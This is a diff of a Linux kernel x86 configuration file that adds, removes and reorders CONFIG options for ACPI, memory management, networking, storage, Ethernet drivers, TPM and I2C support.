CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y # CONFIG_ACPI_DEBUGGER is not set CONFIG_ACPI_SPCR_TABLE=y +# CONFIG_ACPI_FPDT is not set CONFIG_ACPI_LPIT=y CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y # CONFIG_ACPI_EC_DEBUGFS is not set CONFIG_ACPI_AC=y CONFIG_ACPI_BATTERY=y CONFIG_ACPI_BUTTON=y -CONFIG_ACPI_VIDEO=y CONFIG_ACPI_FAN=y # CONFIG_ACPI_DOCK is not set CONFIG_ACPI_CPU_FREQ_PSS=y @@ -419,9 +427,10 @@ CONFIG_HAVE_ACPI_APEI_NMI=y # CONFIG_ACPI_APEI is not set # CONFIG_ACPI_DPTF is not set # CONFIG_ACPI_CONFIGFS is not set +# CONFIG_ACPI_PFRUT is not set +CONFIG_ACPI_PCC=y # CONFIG_PMIC_OPREGION is not set CONFIG_X86_PM_TIMER=y -# CONFIG_SFI is not set # # CPU Frequency scaling @@ -447,6 +456,8 @@ CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y # # CONFIG_X86_INTEL_PSTATE is not set # CONFIG_X86_PCC_CPUFREQ is not set +# CONFIG_X86_AMD_PSTATE is not set +# CONFIG_X86_AMD_PSTATE_UT is not set # CONFIG_X86_ACPI_CPUFREQ is not set # CONFIG_X86_SPEEDSTEP_CENTRINO is not set # CONFIG_X86_P4_CLOCKMOD is not set @@ -476,34 +487,15 @@ CONFIG_MMCONF_FAM10H=y # CONFIG_ISA_BUS is not set CONFIG_ISA_DMA_API=y CONFIG_AMD_NB=y -# CONFIG_X86_SYSFB is not set # end of Bus options (PCI etc.) # # Binary Emulations # # CONFIG_IA32_EMULATION is not set -# CONFIG_X86_X32 is not set +# CONFIG_X86_X32_ABI is not set # end of Binary Emulations -# -# Firmware Drivers -# -# CONFIG_EDD is not set -# CONFIG_FIRMWARE_MEMMAP is not set -# CONFIG_DMIID is not set -# CONFIG_DMI_SYSFS is not set -CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y -# CONFIG_ISCSI_IBFT is not set -# CONFIG_FW_CFG_SYSFS is not set -# CONFIG_GOOGLE_FIRMWARE is not set - -# -# Tegra firmware driver -# -# end of Tegra firmware driver -# end of Firmware Drivers - CONFIG_HAVE_KVM=y # CONFIG_VIRTUALIZATION is not set CONFIG_AS_AVX512=y @@ -518,8 +510,6 @@ CONFIG_CRASH_CORE=y CONFIG_KEXEC_CORE=y CONFIG_HOTPLUG_SMT=y CONFIG_GENERIC_ENTRY=y -CONFIG_HAVE_OPROFILE=y -CONFIG_OPROFILE_NMI_TIMER=y # CONFIG_KPROBES is not set CONFIG_JUMP_LABEL=y # CONFIG_STATIC_KEYS_SELFTEST is not set @@ -531,8 +521,11 @@ CONFIG_HAVE_KPROBES=y CONFIG_HAVE_KRETPROBES=y CONFIG_HAVE_OPTPROBES=y CONFIG_HAVE_KPROBES_ON_FTRACE=y +CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y CONFIG_HAVE_NMI=y +CONFIG_TRACE_IRQFLAGS_SUPPORT=y +CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y CONFIG_HAVE_ARCH_TRACEHOOK=y CONFIG_HAVE_DMA_CONTIGUOUS=y CONFIG_GENERIC_SMP_IDLE_THREAD=y @@ -541,9 +534,11 @@ CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y +CONFIG_ARCH_WANTS_NO_INSTR=y CONFIG_HAVE_ASM_MODVERSIONS=y CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y CONFIG_HAVE_RSEQ=y +CONFIG_HAVE_RUST=y CONFIG_HAVE_FUNCTION_ARG_ACCESS_API=y CONFIG_HAVE_HW_BREAKPOINT=y CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y @@ -554,6 +549,7 @@ CONFIG_HAVE_PERF_REGS=y CONFIG_HAVE_PERF_USER_STACK_DUMP=y CONFIG_HAVE_ARCH_JUMP_LABEL=y CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y +CONFIG_MMU_GATHER_MERGE_VMAS=y CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y CONFIG_HAVE_CMPXCHG_LOCAL=y @@ -565,27 +561,47 @@ CONFIG_HAVE_ARCH_STACKLEAK=y CONFIG_HAVE_STACKPROTECTOR=y CONFIG_STACKPROTECTOR=y CONFIG_STACKPROTECTOR_STRONG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG_THIN=y +CONFIG_LTO_NONE=y +CONFIG_ARCH_SUPPORTS_CFI_CLANG=y CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y -CONFIG_HAVE_CONTEXT_TRACKING=y +CONFIG_HAVE_CONTEXT_TRACKING_USER=y +CONFIG_HAVE_CONTEXT_TRACKING_USER_OFFSTACK=y CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y +CONFIG_HAVE_MOVE_PUD=y CONFIG_HAVE_MOVE_PMD=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y CONFIG_HAVE_ARCH_HUGE_VMAP=y +CONFIG_HAVE_ARCH_HUGE_VMALLOC=y CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y CONFIG_HAVE_ARCH_SOFT_DIRTY=y CONFIG_HAVE_MOD_ARCH_SPECIFIC=y CONFIG_MODULES_USE_ELF_RELA=y +CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y +CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y +CONFIG_SOFTIRQ_ON_OWN_STACK=y CONFIG_ARCH_HAS_ELF_RANDOMIZE=y CONFIG_HAVE_ARCH_MMAP_RND_BITS=y CONFIG_HAVE_EXIT_THREAD=y CONFIG_ARCH_MMAP_RND_BITS=28 +CONFIG_PAGE_SIZE_LESS_THAN_64KB=y +CONFIG_PAGE_SIZE_LESS_THAN_256KB=y +CONFIG_HAVE_OBJTOOL=y +CONFIG_HAVE_JUMP_LABEL_HACK=y +CONFIG_HAVE_NOINSTR_HACK=y +CONFIG_HAVE_NOINSTR_VALIDATION=y +CONFIG_HAVE_UACCESS_VALIDATION=y CONFIG_HAVE_STACK_VALIDATION=y CONFIG_HAVE_RELIABLE_STACKTRACE=y # CONFIG_COMPAT_32BIT_TIME is not set CONFIG_HAVE_ARCH_VMAP_STACK=y CONFIG_VMAP_STACK=y +CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y +CONFIG_RANDOMIZE_KSTACK_OFFSET=y +# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y CONFIG_STRICT_KERNEL_RWX=y CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y @@ -595,7 +611,15 @@ CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y CONFIG_ARCH_HAS_MEM_ENCRYPT=y CONFIG_HAVE_STATIC_CALL=y CONFIG_HAVE_STATIC_CALL_INLINE=y +CONFIG_HAVE_PREEMPT_DYNAMIC=y +CONFIG_HAVE_PREEMPT_DYNAMIC_CALL=y CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y +CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y +CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y +CONFIG_ARCH_HAS_ELFCORE_COMPAT=y +CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y +CONFIG_DYNAMIC_SIGFRAME=y +CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y # # GCOV-based kernel profiling @@ -605,6 +629,8 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -615,17 +641,20 @@ CONFIG_MODULES=y # CONFIG_MODVERSIONS is not set # CONFIG_MODULE_SRCVERSION_ALL is not set # CONFIG_MODULE_SIG is not set -# CONFIG_MODULE_COMPRESS is not set +CONFIG_MODULE_COMPRESS_NONE=y +# CONFIG_MODULE_COMPRESS_GZIP is not set +# CONFIG_MODULE_COMPRESS_XZ is not set +# CONFIG_MODULE_COMPRESS_ZSTD is not set # CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set -CONFIG_UNUSED_SYMBOLS=y +CONFIG_MODPROBE_PATH="/sbin/modprobe" +# CONFIG_TRIM_UNUSED_KSYMS is not set CONFIG_MODULES_TREE_LOOKUP=y CONFIG_BLOCK=y -CONFIG_BLK_SCSI_REQUEST=y -CONFIG_BLK_DEV_BSG=y +CONFIG_BLOCK_LEGACY_AUTOLOAD=y +CONFIG_BLK_DEV_BSG_COMMON=y CONFIG_BLK_DEV_BSGLIB=y # CONFIG_BLK_DEV_INTEGRITY is not set # CONFIG_BLK_DEV_ZONED is not set -# CONFIG_BLK_CMDLINE_PARSER is not set # CONFIG_BLK_WBT is not set CONFIG_BLK_DEBUG_FS=y # CONFIG_BLK_SED_OPAL is not set @@ -640,6 +669,8 @@ CONFIG_EFI_PARTITION=y # end of Partition Types CONFIG_BLK_MQ_PCI=y +CONFIG_BLOCK_HOLDER_DEPRECATED=y +CONFIG_BLK_MQ_STACKING=y # # IO Schedulers @@ -679,38 +710,68 @@ CONFIG_BINFMT_SCRIPT=y # # Memory Management options # -CONFIG_SELECT_MEMORY_MODEL=y -CONFIG_SPARSEMEM_MANUAL=y +# CONFIG_SWAP is not set + +# +# SLAB allocator options +# +# CONFIG_SLAB is not set +CONFIG_SLUB=y +# CONFIG_SLOB is not set +CONFIG_SLAB_MERGE_DEFAULT=y +# CONFIG_SLAB_FREELIST_RANDOM is not set +# CONFIG_SLAB_FREELIST_HARDENED is not set +# CONFIG_SLUB_STATS is not set +CONFIG_SLUB_CPU_PARTIAL=y +# end of SLAB allocator options + +# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set +# CONFIG_COMPAT_BRK is not set CONFIG_SPARSEMEM=y CONFIG_SPARSEMEM_EXTREME=y CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y CONFIG_SPARSEMEM_VMEMMAP=y CONFIG_HAVE_FAST_GUP=y +CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y # CONFIG_MEMORY_HOTPLUG is not set CONFIG_SPLIT_PTLOCK_CPUS=4 +CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y # CONFIG_COMPACTION is not set # CONFIG_PAGE_REPORTING is not set CONFIG_PHYS_ADDR_T_64BIT=y -CONFIG_VIRT_TO_BUS=y CONFIG_MMU_NOTIFIER=y # CONFIG_KSM is not set CONFIG_DEFAULT_MMAP_MIN_ADDR=65536 CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y # CONFIG_MEMORY_FAILURE is not set -# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_ARCH_WANT_GENERAL_HUGETLB=y CONFIG_ARCH_WANTS_THP_SWAP=y -# CONFIG_CLEANCACHE is not set +# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y +CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y +CONFIG_HAVE_SETUP_PER_CPU_AREA=y # CONFIG_CMA is not set -# CONFIG_ZPOOL is not set -# CONFIG_ZBUD is not set -# CONFIG_ZSMALLOC is not set CONFIG_GENERIC_EARLY_IOREMAP=y # CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set # CONFIG_IDLE_PAGE_TRACKING is not set +CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y +CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y CONFIG_ARCH_HAS_PTE_DEVMAP=y +CONFIG_ARCH_HAS_ZONE_DMA_SET=y +# CONFIG_ZONE_DMA is not set +CONFIG_ZONE_DMA32=y +# CONFIG_VM_EVENT_COUNTERS is not set # CONFIG_PERCPU_STATS is not set -# CONFIG_GUP_BENCHMARK is not set +# CONFIG_GUP_TEST is not set CONFIG_ARCH_HAS_PTE_SPECIAL=y +# CONFIG_USERFAULTFD is not set +# CONFIG_LRU_GEN is not set + +# +# Data Access Monitoring +# +# CONFIG_DAMON is not set +# end of Data Access Monitoring # end of Memory Management options CONFIG_NET=y @@ -722,6 +783,7 @@ CONFIG_PACKET=y # CONFIG_PACKET_DIAG is not set CONFIG_UNIX=y CONFIG_UNIX_SCM=y +CONFIG_AF_UNIX_OOB=y # CONFIG_UNIX_DIAG is not set # CONFIG_TLS is not set # CONFIG_XFRM_USER is not set @@ -738,6 +800,7 @@ CONFIG_SYN_COOKIES=y # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_INET_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y @@ -756,10 +819,8 @@ CONFIG_DEFAULT_TCP_CONG="cubic" # CONFIG_ATM is not set # CONFIG_L2TP is not set # CONFIG_BRIDGE is not set -CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -779,12 +840,13 @@ CONFIG_HAVE_NET_DSA=y # CONFIG_NET_L3_MASTER_DEV is not set # CONFIG_QRTR is not set # CONFIG_NET_NCSI is not set +CONFIG_PCPU_DEV_REFCNT=y CONFIG_RPS=y CONFIG_RFS_ACCEL=y +CONFIG_SOCK_RX_QUEUE_MAPPING=y CONFIG_XPS=y CONFIG_NET_RX_BUSY_POLL=y CONFIG_BQL=y -# CONFIG_BPF_JIT is not set CONFIG_NET_FLOW_LIMIT=y # @@ -799,8 +861,8 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_BT is not set # CONFIG_AF_RXRPC is not set # CONFIG_AF_KCM is not set +# CONFIG_MCTP is not set # CONFIG_WIRELESS is not set -# CONFIG_WIMAX is not set # CONFIG_RFKILL is not set # CONFIG_NET_9P is not set # CONFIG_CAIF is not set @@ -811,7 +873,6 @@ CONFIG_NET_FLOW_LIMIT=y # CONFIG_LWTUNNEL is not set # CONFIG_FAILOVER is not set CONFIG_ETHTOOL_NETLINK=y -CONFIG_HAVE_EBPF_JIT=y # # Device Drivers @@ -846,6 +907,8 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCIE_BUS_SAFE is not set # CONFIG_PCIE_BUS_PERFORMANCE is not set # CONFIG_PCIE_BUS_PEER2PEER is not set +CONFIG_VGA_ARB=y +CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_HOTPLUG_PCI is not set # @@ -883,6 +946,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCI_SW_SWITCHTEC is not set # end of PCI switch controller drivers +# CONFIG_CXL_BUS is not set # CONFIG_PCCARD is not set # CONFIG_RAPIDIO is not set @@ -892,6 +956,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_UEVENT_HELPER is not set CONFIG_DEVTMPFS=y CONFIG_DEVTMPFS_MOUNT=y +# CONFIG_DEVTMPFS_SAFE is not set # CONFIG_STANDALONE is not set CONFIG_PREVENT_FIRMWARE_BUILD=y @@ -902,6 +967,7 @@ CONFIG_FW_LOADER=y CONFIG_EXTRA_FIRMWARE="" # CONFIG_FW_LOADER_USER_HELPER is not set # CONFIG_FW_LOADER_COMPRESS is not set +# CONFIG_FW_UPLOAD is not set # end of Firmware loader # CONFIG_ALLOW_DEV_COREDUMP is not set @@ -921,9 +987,37 @@ CONFIG_DMA_SHARED_BUFFER=y # Bus devices # # CONFIG_MHI_BUS is not set +# CONFIG_MHI_BUS_EP is not set # end of Bus devices # CONFIG_CONNECTOR is not set + +# +# Firmware Drivers +# + +# +# ARM System Control and Management Interface Protocol +# +# end of ARM System Control and Management Interface Protocol + +# CONFIG_EDD is not set +# CONFIG_FIRMWARE_MEMMAP is not set +# CONFIG_DMIID is not set +# CONFIG_DMI_SYSFS is not set +CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y +# CONFIG_ISCSI_IBFT is not set +# CONFIG_FW_CFG_SYSFS is not set +CONFIG_SYSFB=y +CONFIG_SYSFB_SIMPLEFB=y +# CONFIG_GOOGLE_FIRMWARE is not set + +# +# Tegra firmware driver +# +# end of Tegra firmware driver +# end of Firmware Drivers + # CONFIG_GNSS is not set # CONFIG_MTD is not set # CONFIG_OF is not set @@ -941,21 +1035,17 @@ CONFIG_BLK_DEV=y # CONFIG_BLK_DEV_FD is not set CONFIG_CDROM=y # CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set -# CONFIG_BLK_DEV_UMEM is not set CONFIG_BLK_DEV_LOOP=y CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 -# CONFIG_BLK_DEV_CRYPTOLOOP is not set # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set -# CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 # CONFIG_CDROM_PKTCDVD is not set # CONFIG_ATA_OVER_ETH is not set # CONFIG_BLK_DEV_RBD is not set -# CONFIG_BLK_DEV_RSXX is not set +# CONFIG_BLK_DEV_UBLK is not set # # NVME Support @@ -963,9 +1053,10 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 CONFIG_NVME_CORE=y CONFIG_BLK_DEV_NVME=y CONFIG_NVME_MULTIPATH=y -CONFIG_NVME_HWMON=y +# CONFIG_NVME_VERBOSE_ERRORS is not set # CONFIG_NVME_FC is not set # CONFIG_NVME_TCP is not set +# CONFIG_NVME_AUTH is not set # end of NVME Support # @@ -988,9 +1079,9 @@ CONFIG_NVME_HWMON=y # CONFIG_HMC6352 is not set # CONFIG_DS1682 is not set # CONFIG_SRAM is not set +# CONFIG_DW_XDATA_PCIE is not set # CONFIG_PCI_ENDPOINT_TEST is not set # CONFIG_XILINX_SDFEC is not set -# CONFIG_PVPANIC is not set # CONFIG_C2PORT is not set # @@ -1019,21 +1110,21 @@ CONFIG_NVME_HWMON=y # CONFIG_VMWARE_VMCI is not set # CONFIG_GENWQE is not set # CONFIG_ECHO is not set +# CONFIG_BCM_VK is not set # CONFIG_MISC_ALCOR_PCI is not set # CONFIG_MISC_RTSX_PCI is not set # CONFIG_MISC_RTSX_USB is not set # CONFIG_HABANA_AI is not set # CONFIG_UACCE is not set +# CONFIG_PVPANIC is not set # end of Misc devices -CONFIG_HAVE_IDE=y -# CONFIG_IDE is not set - # # SCSI device support # CONFIG_SCSI_MOD=y CONFIG_RAID_ATTRS=y +CONFIG_SCSI_COMMON=y CONFIG_SCSI=y CONFIG_SCSI_DMA=y # CONFIG_SCSI_PROC_FS is not set @@ -1045,6 +1136,7 @@ CONFIG_BLK_DEV_SD=y # CONFIG_CHR_DEV_ST is not set CONFIG_BLK_DEV_SR=y CONFIG_CHR_DEV_SG=y +CONFIG_BLK_DEV_BSG=y # CONFIG_CHR_DEV_SCH is not set # CONFIG_SCSI_CONSTANTS is not set # CONFIG_SCSI_LOGGING is not set @@ -1079,7 +1171,6 @@ CONFIG_ISCSI_TCP=y # CONFIG_SCSI_AIC94XX is not set # CONFIG_SCSI_MVSAS is not set # CONFIG_SCSI_MVUMI is not set -# CONFIG_SCSI_DPT_I2O is not set # CONFIG_SCSI_ADVANSYS is not set # CONFIG_SCSI_ARCMSR is not set # CONFIG_SCSI_ESAS2R is not set @@ -1090,8 +1181,8 @@ CONFIG_SCSI_MPT3SAS=y CONFIG_SCSI_MPT2SAS_MAX_SGE=128 CONFIG_SCSI_MPT3SAS_MAX_SGE=128 # CONFIG_SCSI_MPT2SAS is not set +# CONFIG_SCSI_MPI3MR is not set # CONFIG_SCSI_SMARTPQI is not set -# CONFIG_SCSI_UFSHCD is not set # CONFIG_SCSI_HPTIOP is not set # CONFIG_SCSI_BUSLOGIC is not set # CONFIG_SCSI_MYRB is not set @@ -1100,7 +1191,6 @@ CONFIG_SCSI_MPT3SAS_MAX_SGE=128 # CONFIG_SCSI_SNIC is not set # CONFIG_SCSI_DMX3191D is not set # CONFIG_SCSI_FDOMAIN_PCI is not set -# CONFIG_SCSI_GDTH is not set # CONFIG_SCSI_ISCI is not set # CONFIG_SCSI_IPS is not set # CONFIG_SCSI_INITIO is not set @@ -1133,6 +1223,7 @@ CONFIG_SATA_PMP=y CONFIG_SATA_AHCI=y CONFIG_SATA_MOBILE_LPM_POLICY=0 # CONFIG_SATA_AHCI_PLATFORM is not set +# CONFIG_AHCI_DWC is not set # CONFIG_SATA_INIC162X is not set # CONFIG_SATA_ACARD_AHCI is not set # CONFIG_SATA_SIL24 is not set @@ -1203,12 +1294,6 @@ CONFIG_NET_CORE=y # CONFIG_VETH is not set # CONFIG_NLMON is not set # CONFIG_ARCNET is not set - -# -# Distributed Switch Architecture drivers -# -# end of Distributed Switch Architecture drivers - CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_3COM is not set # CONFIG_NET_VENDOR_ADAPTEC is not set @@ -1222,23 +1307,26 @@ CONFIG_NET_VENDOR_ALACRITECH=y CONFIG_NET_VENDOR_AQUANTIA=y # CONFIG_AQTION is not set # CONFIG_NET_VENDOR_ARC is not set +# CONFIG_NET_VENDOR_ASIX is not set # CONFIG_NET_VENDOR_ATHEROS is not set -CONFIG_NET_VENDOR_AURORA=y -# CONFIG_AURORA_NB8800 is not set +# CONFIG_CX_ECAT is not set # CONFIG_NET_VENDOR_BROADCOM is not set -# CONFIG_NET_VENDOR_BROCADE is not set CONFIG_NET_VENDOR_CADENCE=y # CONFIG_MACB is not set # CONFIG_NET_VENDOR_CAVIUM is not set # CONFIG_NET_VENDOR_CHELSIO is not set # CONFIG_NET_VENDOR_CISCO is not set CONFIG_NET_VENDOR_CORTINA=y -# CONFIG_CX_ECAT is not set +CONFIG_NET_VENDOR_DAVICOM=y # CONFIG_DNET is not set # CONFIG_NET_VENDOR_DEC is not set # CONFIG_NET_VENDOR_DLINK is not set # CONFIG_NET_VENDOR_EMULEX is not set +CONFIG_NET_VENDOR_ENGLEDER=y +# CONFIG_TSNEP is not set # CONFIG_NET_VENDOR_EZCHIP is not set +CONFIG_NET_VENDOR_FUNGIBLE=y +# CONFIG_FUN_ETH is not set CONFIG_NET_VENDOR_GOOGLE=y # CONFIG_GVE is not set CONFIG_NET_VENDOR_HUAWEI=y @@ -1259,22 +1347,26 @@ CONFIG_E1000E_HWTS=y # CONFIG_ICE is not set # CONFIG_FM10K is not set # CONFIG_IGC is not set +CONFIG_NET_VENDOR_WANGXUN=y +# CONFIG_NGBE is not set +# CONFIG_TXGBE is not set # CONFIG_JME is not set +CONFIG_NET_VENDOR_LITEX=y # CONFIG_NET_VENDOR_MARVELL is not set # CONFIG_NET_VENDOR_MELLANOX is not set # CONFIG_NET_VENDOR_MICREL is not set CONFIG_NET_VENDOR_MICROCHIP=y # CONFIG_LAN743X is not set CONFIG_NET_VENDOR_MICROSEMI=y +CONFIG_NET_VENDOR_MICROSOFT=y # CONFIG_NET_VENDOR_MYRI is not set # CONFIG_FEALNX is not set +CONFIG_NET_VENDOR_NI=y +# CONFIG_NI_XGE_MANAGEMENT_ENET is not set # CONFIG_NET_VENDOR_NATSEMI is not set CONFIG_NET_VENDOR_NETERION=y # CONFIG_S2IO is not set -# CONFIG_VXGE is not set # CONFIG_NET_VENDOR_NETRONOME is not set -CONFIG_NET_VENDOR_NI=y -# CONFIG_NI_XGE_MANAGEMENT_ENET is not set # CONFIG_NET_VENDOR_NVIDIA is not set # CONFIG_NET_VENDOR_OKI is not set # CONFIG_ETHOC is not set @@ -1284,6 +1376,7 @@ CONFIG_NET_VENDOR_PACKET_ENGINES=y CONFIG_NET_VENDOR_PENSANDO=y # CONFIG_IONIC is not set # CONFIG_NET_VENDOR_QLOGIC is not set +# CONFIG_NET_VENDOR_BROCADE is not set # CONFIG_NET_VENDOR_QUALCOMM is not set # CONFIG_NET_VENDOR_RDC is not set # CONFIG_NET_VENDOR_REALTEK is not set @@ -1291,11 +1384,11 @@ CONFIG_NET_VENDOR_PENSANDO=y # CONFIG_NET_VENDOR_ROCKER is not set # CONFIG_NET_VENDOR_SAMSUNG is not set # CONFIG_NET_VENDOR_SEEQ is not set +# CONFIG_NET_VENDOR_SILAN is not set +# CONFIG_NET_VENDOR_SIS is not set CONFIG_NET_VENDOR_SOLARFLARE=y # CONFIG_SFC is not set # CONFIG_SFC_FALCON is not set -# CONFIG_NET_VENDOR_SILAN is not set -# CONFIG_NET_VENDOR_SIS is not set # CONFIG_NET_VENDOR_SMSC is not set CONFIG_NET_VENDOR_SOCIONEXT=y # CONFIG_NET_VENDOR_STMICRO is not set @@ -1303,15 +1396,18 @@ CONFIG_NET_VENDOR_SOCIONEXT=y # CONFIG_NET_VENDOR_SYNOPSYS is not set # CONFIG_NET_VENDOR_TEHUTI is not set # CONFIG_NET_VENDOR_TI is not set +# CONFIG_NET_VENDOR_VERTEXCOM is not set # CONFIG_NET_VENDOR_VIA is not set # CONFIG_NET_VENDOR_WIZNET is not set CONFIG_NET_VENDOR_XILINX=y +# CONFIG_XILINX_EMACLITE is not set # CONFIG_XILINX_AXI_EMAC is not set # CONFIG_XILINX_LL_TEMAC is not set # CONFIG_FDDI is not set # CONFIG_HIPPI is not set # CONFIG_NET_SB1000 is not set # CONFIG_PHYLIB is not set +# CONFIG_PSE_CONTROLLER is not set # CONFIG_MDIO_DEVICE is not set # @@ -1323,26 +1419,28 @@ CONFIG_NET_VENDOR_XILINX=y # CONFIG_SLIP is not set # CONFIG_USB_NET_DRIVERS is not set # CONFIG_WLAN is not set +# CONFIG_WAN is not set # -# Enable WiMAX (Networking options) to see the WiMAX drivers +# Wireless WAN # -# CONFIG_WAN is not set +# CONFIG_WWAN is not set +# end of Wireless WAN + # CONFIG_VMXNET3 is not set # CONFIG_FUJITSU_ES is not set # CONFIG_NETDEVSIM is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set -# CONFIG_NVM is not set # # Input device support # CONFIG_INPUT=y # CONFIG_INPUT_FF_MEMLESS is not set -# CONFIG_INPUT_POLLDEV is not set # CONFIG_INPUT_SPARSEKMAP is not set # CONFIG_INPUT_MATRIXKMAP is not set +CONFIG_INPUT_VIVALDIFMAP=y # # Userland interfaces @@ -1376,6 +1474,7 @@ CONFIG_KEYBOARD_ATKBD=y # CONFIG_KEYBOARD_STOWAWAY is not set # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set +# CONFIG_KEYBOARD_CYPRESS_SF is not set # CONFIG_INPUT_MOUSE is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TABLET is not set @@ -1433,6 +1532,7 @@ CONFIG_SERIAL_8250_RUNTIME_UARTS=4 # CONFIG_SERIAL_8250_RT288X is not set # CONFIG_SERIAL_8250_LPSS is not set # CONFIG_SERIAL_8250_MID is not set +# CONFIG_SERIAL_8250_PERICOM is not set # # Non-8250 serial port support @@ -1457,7 +1557,6 @@ CONFIG_SERIAL_CORE_CONSOLE=y # CONFIG_N_GSM is not set # CONFIG_NOZOMI is not set # CONFIG_NULL_TTY is not set -# CONFIG_TRACE_SINK is not set # CONFIG_SERIAL_DEV_BUS is not set CONFIG_TTY_PRINTK=y CONFIG_TTY_PRINTK_LEVEL=6 @@ -1474,9 +1573,7 @@ CONFIG_HW_RANDOM_AMD=y # CONFIG_APPLICOM is not set # CONFIG_MWAVE is not set CONFIG_DEVMEM=y -# CONFIG_DEVKMEM is not set # CONFIG_NVRAM is not set -# CONFIG_RAW_DRIVER is not set CONFIG_DEVPORT=y # CONFIG_HPET is not set # CONFIG_HANGCHECK_TIMER is not set @@ -1484,6 +1581,8 @@ CONFIG_TCG_TPM=y # CONFIG_HW_RANDOM_TPM is not set CONFIG_TCG_TIS_CORE=y CONFIG_TCG_TIS=y +# CONFIG_TCG_TIS_I2C is not set +# CONFIG_TCG_TIS_I2C_CR50 is not set # CONFIG_TCG_TIS_I2C_ATMEL is not set # CONFIG_TCG_TIS_I2C_INFINEON is not set # CONFIG_TCG_TIS_I2C_NUVOTON is not set @@ -1495,10 +1594,10 @@ CONFIG_TCG_TIS=y # CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - +# CONFIG_XILLYUSB is not set CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1575,6 +1674,8 @@ CONFIG_I2C_ALGOBIT=y # External I2C/SMBus adapter drivers # # CONFIG_I2C_DIOLAN_U2C is not set +# CONFIG_I2C_CP2615 is not set +# CONFIG_I2C_PCI1XXXX is not set # 